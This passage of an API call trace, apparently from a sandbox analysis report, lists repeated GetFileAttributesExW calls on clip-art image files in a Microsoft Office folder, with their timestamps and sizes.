	[0051.648] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH00601G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph00601g.gif"), fInfoLevelId=0x0, lpFileInformation=0x124ccf08 | out: lpFileInformation=0x124ccf08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf15a1100, ftCreationTime.dwHighDateTime=0x1bd4e4a, ftLastAccessTime.dwLowDateTime=0x5a3d9150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf15a1100, ftLastWriteTime.dwHighDateTime=0x1bd4e4a, nFileSizeHigh=0x0, nFileSizeLow=0x629)) returned 1
	[0051.648] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH00780U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph00780u.bmp"), fInfoLevelId=0x0, lpFileInformation=0x124ccf58 | out: lpFileInformation=0x124ccf58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe86e3d00, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x5a3d9150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe86e3d00, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x8628)) returned 1
	[0051.648] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01035U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01035u.bmp"), fInfoLevelId=0x0, lpFileInformation=0x124ccfa8 | out: lpFileInformation=0x124ccfa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45c100, ftCreationTime.dwHighDateTime=0x1bd4e55, ftLastAccessTime.dwLowDateTime=0x5a3d9150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x45c100, ftLastWriteTime.dwHighDateTime=0x1bd4e55, nFileSizeHigh=0x0, nFileSizeLow=0x7e90)) returned 1
	[0051.649] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01046J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01046j.jpg"), fInfoLevelId=0x0, lpFileInformation=0x124ccff8 | out: lpFileInformation=0x124ccff8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6ce6f8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x211bb)) returned 1
	[0051.650] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01179J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01179j.jpg"), fInfoLevelId=0x0, lpFileInformation=0x124cd048 | out: lpFileInformation=0x124cd048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd4a3a00, ftCreationTime.dwHighDateTime=0x1bd50ad, ftLastAccessTime.dwLowDateTime=0x5a3d9150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcd4a3a00, ftLastWriteTime.dwHighDateTime=0x1bd50ad, nFileSizeHigh=0x0, nFileSizeLow=0xa202)) returned 1
	[0051.650] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01213K.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01213k.jpg"), fInfoLevelId=0x0, lpFileInformation=0x124cd098 | out: lpFileInformation=0x124cd098*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6ce6f8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x18be)) returned 1
	[0051.650] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01221K.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01221k.jpg"), fInfoLevelId=0x0, lpFileInformation=0x124cd0e8 | out: lpFileInformation=0x124cd0e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5a3d9150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1c94)) returned 1
	[0051.650] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01235U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01235u.bmp"), fInfoLevelId=0x0, lpFileInformation=0x124cd138 | out: lpFileInformation=0x124cd138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37b36e00, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x6ce6f8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x37b36e00, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x7db8)) returned 1
	[0051.650] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01236U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01236u.bmp"), fInfoLevelId=0x0, lpFileInformation=0x124cd188 | out: lpFileInformation=0x124cd188*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc83e7e00, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x5a3d9150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc83e7e00, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7ce0)) returned 1
	[0051.650] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01239K.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01239k.jpg"), fInfoLevelId=0x0, lpFileInformation=0x124cd1d8 | out: lpFileInformation=0x124cd1d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5a3d9150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1764)) returned 1
	[0051.653] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01247U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01247u.bmp"), fInfoLevelId=0x0, lpFileInformation=0x124cd228 | out: lpFileInformation=0x124cd228*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbeb51600, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbeb51600, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7c08)) returned 1
	[0051.653] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01255G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01255g.gif"), fInfoLevelId=0x0, lpFileInformation=0x124cd278 | out: lpFileInformation=0x124cd278*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72230800, ftCreationTime.dwHighDateTime=0x1bd4e5f, ftLastAccessTime.dwLowDateTime=0x6ce6f8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x72230800, ftLastWriteTime.dwHighDateTime=0x1bd4e5f, nFileSizeHigh=0x0, nFileSizeLow=0x1e55)) returned 1
	[0051.654] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01265U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01265u.bmp"), fInfoLevelId=0x0, lpFileInformation=0x124cd2c8 | out: lpFileInformation=0x124cd2c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d799000, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1d799000, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x7c08)) returned 1
	[0051.654] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01332U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01332u.bmp"), fInfoLevelId=0x0, lpFileInformation=0x124cd318 | out: lpFileInformation=0x124cd318*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8bf3500, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x6ce6f8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb8bf3500, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7db8)) returned 1
	[0051.654] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01478U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01478u.bmp"), fInfoLevelId=0x0, lpFileInformation=0x124cd368 | out: lpFileInformation=0x124cd368*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa711900, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xaa711900, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7ce0)) returned 1
	[0051.655] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01562U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01562u.bmp"), fInfoLevelId=0x0, lpFileInformation=0x124cd3b8 | out: lpFileInformation=0x124cd3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa47b3800, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa47b3800, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7db8)) returned 1
	[0051.655] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01607U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01607u.bmp"), fInfoLevelId=0x0, lpFileInformation=0x124cd408 | out: lpFileInformation=0x124cd408*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9fb68400, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x6ce6f8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9fb68400, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7ce0)) returned 1
	[0051.655] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01931J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01931j.jpg"), fInfoLevelId=0x0, lpFileInformation=0x124cd458 | out: lpFileInformation=0x124cd458*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35a3dc00, ftCreationTime.dwHighDateTime=0x1bd4e60, ftLastAccessTime.dwLowDateTime=0x6ce6f8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x35a3dc00, ftLastWriteTime.dwHighDateTime=0x1bd4e60, nFileSizeHigh=0x0, nFileSizeLow=0x9abe)) returned 1
	[0051.656] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02028K.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02028k.jpg"), fInfoLevelId=0x0, lpFileInformation=0x124cd4a8 | out: lpFileInformation=0x124cd4a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x451e)) returned 1
	[0051.656] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02039U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02039u.bmp"), fInfoLevelId=0x0, lpFileInformation=0x124cd4f8 | out: lpFileInformation=0x124cd4f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a415a00, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x6ce6f8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8a415a00, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7ce0)) returned 1
	[0051.656] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02040U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02040u.bmp"), fInfoLevelId=0x0, lpFileInformation=0x124cd548 | out: lpFileInformation=0x124cd548*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x857ca600, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x857ca600, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7db8)) returned 1
	[0051.656] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02053J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02053j.jpg"), fInfoLevelId=0x0, lpFileInformation=0x124cd598 | out: lpFileInformation=0x124cd598*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf32cd000, ftCreationTime.dwHighDateTime=0x1bd4e5c, ftLastAccessTime.dwLowDateTime=0x6ce6f8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf32cd000, ftLastWriteTime.dwHighDateTime=0x1bd4e5c, nFileSizeHigh=0x0, nFileSizeLow=0x6afc)) returned 1
	[0051.657] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02058U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02058u.bmp"), fInfoLevelId=0x0, lpFileInformation=0x124cd5e8 | out: lpFileInformation=0x124cd5e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b7f200, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x80b7f200, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7ce0)) returned 1
	[0051.657] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02062U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02062u.bmp"), fInfoLevelId=0x0, lpFileInformation=0x124cd638 | out: lpFileInformation=0x124cd638*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c73f500, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x6ce6f8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c73f500, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7ce0)) returned 1
	[0051.657] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02069J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02069j.jpg"), fInfoLevelId=0x0, lpFileInformation=0x124cd688 | out: lpFileInformation=0x124cd688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa943ea00, ftCreationTime.dwHighDateTime=0x1bd4e5c, ftLastAccessTime.dwLowDateTime=0x6ce6f8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa943ea00, ftLastWriteTime.dwHighDateTime=0x1bd4e5c, nFileSizeHigh=0x0, nFileSizeLow=0x7297)) returned 1
	[0051.657] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02071U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02071u.bmp"), fInfoLevelId=0x0, lpFileInformation=0x124cd6d8 | out: lpFileInformation=0x124cd6d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67af4100, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x6ce6f8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x67af4100, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7db8)) returned 1
	[0051.658] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02074U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02074u.bmp"), fInfoLevelId=0x0, lpFileInformation=0x124cd728 | out: lpFileInformation=0x124cd728*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55cd9e00, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x6ce6f8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x55cd9e00, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7ce0)) returned 1
	[0051.658] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02208U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02208u.bmp"), fInfoLevelId=0x0, lpFileInformation=0x124cd778 | out: lpFileInformation=0x124cd778*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c443600, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4c443600, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7ce0)) returned 1
	[0051.659] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02223U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02223u.bmp"), fInfoLevelId=0x0, lpFileInformation=0x124cd7c8 | out: lpFileInformation=0x124cd7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e0cfa00, ftCreationTime.dwHighDateTime=0x1bd4e52, ftLastAccessTime.dwLowDateTime=0x6ce6f8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4e0cfa00, ftLastWriteTime.dwHighDateTime=0x1bd4e52, nFileSizeHigh=0x0, nFileSizeLow=0x7db8)) returned 1
	[0051.659] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02291U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02291u.bmp"), fInfoLevelId=0x0, lpFileInformation=0x124cd818 | out: lpFileInformation=0x124cd818*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30d92b00, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x6ce6f8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x30d92b00, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7db8)) returned 1
	[0051.659] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02398U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02398u.bmp"), fInfoLevelId=0x0, lpFileInformation=0x124cd868 | out: lpFileInformation=0x124cd868*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2880f000, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2880f000, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7ce0)) returned 1
	[0051.659] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02412K.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02412k.jpg"), fInfoLevelId=0x0, lpFileInformation=0x124cd8b8 | out: lpFileInformation=0x124cd8b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xdd5)) returned 1
	[0051.660] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02417U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02417u.bmp"), fInfoLevelId=0x0, lpFileInformation=0x124cd908 | out: lpFileInformation=0x124cd908*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x156e2000, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x156e2000, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7ce0)) returned 1
	[0051.660] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02466U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02466u.bmp"), fInfoLevelId=0x0, lpFileInformation=0x124cd958 | out: lpFileInformation=0x124cd958*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf783f00, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x6ce95a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf783f00, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7c08)) returned 1
	[0051.660] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02470U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02470u.bmp"), fInfoLevelId=0x0, lpFileInformation=0x124cd9a8 | out: lpFileInformation=0x124cd9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78519700, ftCreationTime.dwHighDateTime=0x1bf111d, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78519700, ftLastWriteTime.dwHighDateTime=0x1bf111d, nFileSizeHigh=0x0, nFileSizeLow=0x48fc)) returned 1
	[0051.661] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02503U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02503u.bmp"), fInfoLevelId=0x0, lpFileInformation=0x124cd9f8 | out: lpFileInformation=0x124cd9f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7a0bb00, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x6ce95a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf7a0bb00, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x7ce0)) returned 1
	[0051.661] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02567J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02567j.jpg"), fInfoLevelId=0x0, lpFileInformation=0x124cda48 | out: lpFileInformation=0x124cda48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83b1e300, ftCreationTime.dwHighDateTime=0x1bd4e52, ftLastAccessTime.dwLowDateTime=0x6ce95a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x83b1e300, ftLastWriteTime.dwHighDateTime=0x1bd4e52, nFileSizeHigh=0x0, nFileSizeLow=0x8499)) returned 1
	[0051.661] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02736G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02736g.gif"), fInfoLevelId=0x0, lpFileInformation=0x124cda98 | out: lpFileInformation=0x124cda98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd929e00, ftCreationTime.dwHighDateTime=0x1bd4e4b, ftLastAccessTime.dwLowDateTime=0x6ce95a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfd929e00, ftLastWriteTime.dwHighDateTime=0x1bd4e4b, nFileSizeHigh=0x0, nFileSizeLow=0x639b)) returned 1
	[0051.661] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02736U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02736u.bmp"), fInfoLevelId=0x0, lpFileInformation=0x124cdae8 | out: lpFileInformation=0x124cdae8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x924cca00, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x6ce95a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x924cca00, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x7e90)) returned 1
	[0051.662] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02738U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02738u.bmp"), fInfoLevelId=0x0, lpFileInformation=0x124cdb38 | out: lpFileInformation=0x124cdb38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88c36200, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x88c36200, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x8118)) returned 1
